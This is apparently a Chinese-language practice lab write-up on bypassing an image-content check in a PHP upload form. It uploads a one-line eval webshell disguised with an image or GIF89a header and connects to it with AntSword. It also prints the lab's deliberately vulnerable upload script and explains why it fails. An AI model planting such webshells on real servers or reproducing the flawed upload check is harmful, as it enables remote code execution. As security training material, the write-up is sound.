主頁
burpsuite截獲,修改后綴為php,末尾加上一句話馬(內容開頭一定要是圖片文件標志頭),上傳成功並返回路徑
<?php @eval($_POST['c']);?>
其他測試:
1、刪掉部分圖片內容時(圖片文件頭不對),無法上傳
2、可以修改圖片文件頭為gif文件的標志頭:GIF87a或者GIF89a,都可以成功上傳
3、冰蠍不支持,不知道為什么,是不是不支持圖片馬?
前面的圖片馬可打開瀏覽,但無法連接jpg格式馬
使用蟻劍連接,密碼就是c,測試連接成功
找源代碼文件
順便看看上傳模塊源碼
<?php //文件上傳漏洞演示腳本之內容驗證 header("Content-type: text/html; charset=utf-8"); error_reporting(0); $uploaddir = 'uploads/'; if (isset($_POST['submit'])) { if (file_exists($uploaddir)) { //print_r($_FILES); $file_name = $_FILES['upfile']['tmp_name']; //print_r(getimagesize($file_name)); $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp'); $img_arr = getimagesize($file_name); //print_r($img_arr); $file_ext = $img_arr['mime']; if (in_array($file_ext, $allow_ext)) { if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) { echo '文件上傳成功,保存於:' . $uploaddir . $_FILES['upfile']['name'] . "\n"; } } else { echo '此文件不允許上傳' . "\n"; } } else { exit($uploaddir . '文件夾不存在,請手工創建!'); } //print_r($_FILES); } ?>
從源碼上分析看,如果上傳文件的mime類型file_ext在allow_ext(
'image/png', 'image/gif', 'image/jpeg', 'image/bmp'
)中,就移動上傳文件到/uploads/文件夾下
參考: